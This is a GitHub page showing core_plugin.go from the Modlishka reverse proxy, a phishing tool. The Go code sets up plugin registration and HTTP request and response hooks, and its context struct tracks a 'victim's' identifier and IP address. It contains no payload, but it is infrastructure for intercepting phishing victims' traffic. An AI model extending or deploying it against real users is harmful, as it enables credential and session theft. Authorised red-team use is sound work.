Repository navigation
Expand file tree
/
Copy pathcore_plugin.go
More file actions
151 lines (116 loc) · 2.99 KB
/
Copy pathcore_plugin.go
File metadata and controls
151 lines (116 loc) · 2.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
/**
"Modlishka" Reverse Proxy.
Copyright 2018 (C) Piotr Duszyński piotr[at]duszynski.eu. All rights reserved.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
You should have received a copy of the Modlishka License along with this program.
**/
package plugin
import (
"github.com/drk1wi/Modlishka/config"
"net/http"
"net/url"
"strings"
"github.com/drk1wi/Modlishka/log"
)
var (
Plugins []*Property
EnabledPluginList *[]string
)
type Property struct {
Name string
Description string
Version string
Active bool
Init func()
Flags func()
HTTPRequest func(req *http.Request, context HTTPContext)
HTTPResponse func(resp *http.Response, context HTTPContext)
RegisterHandler func(handler *http.ServeMux)
}
type HTTPContext struct {
Target *url.URL // Target URL after going through the proxy
OriginalTarget string // Original Host
Origin string // Origin before going through the proxy
PhishUser string // traced victim's identifier
IP string // victim's IP address
}
// Add the given Plugin to the list of loaded plugins
func (p *Property) Register() {
Plugins = append(Plugins, p)
}
// Enable the specified Plugin
func (p *Property) Enable() {
log.Infof("Enabling plugin: %s v%s", p.Name, p.Version)
p.Active = true
// Invoke plugin'p init function
if p.Init != nil {
p.Init()
}
// Parse plugin'p parse flags function
if p.Flags != nil {
p.Flags()
}
}
func SetPluginRuntimeConfig(conf config.Options) {
var list []string
if EnabledPluginList == nil {
EnabledPluginList = &list
}
if conf.Plugins == nil {
return
}
if *conf.Plugins != "" {
for _, i := range strings.Split(*conf.Plugins, ",") {
i = strings.Trim(i, " ")
list = append(list, i)
}
EnabledPluginList = &list
}
}
// Enable the provided plugins
func Enable(conf config.Options) {
for _, pluginName := range *EnabledPluginList {
found := false
for _, p := range Plugins {
if *conf.Plugins == "all" {
p.Enable()
found = true
continue
}
if strings.EqualFold(p.Name, pluginName) {
p.Enable()
found = true
continue
}
}
if !found {
log.Errorf("Plugin %s not found", pluginName)
}
}
}
// Register HTTP handlers
func RegisterHandler(handler *http.ServeMux) {
for _, p := range Plugins {
if p.RegisterHandler != nil {
p.RegisterHandler(handler)
}
}
}
// Execute plugin-defined HTTP Request hooks
func (context HTTPContext) InvokeHTTPRequestHooks(req *http.Request) {
for _, p := range Plugins {
if p.Active && p.HTTPRequest != nil {
p.HTTPRequest(req, context)
}
}
}
// Execute plugin-defined HTTP Response hooks
func (context HTTPContext) InvokeHTTPResponseHooks(resp *http.Response) {
for _, p := range Plugins {
if p.Active == true && p.HTTPResponse != nil {
p.HTTPResponse(resp, context)
}
}
}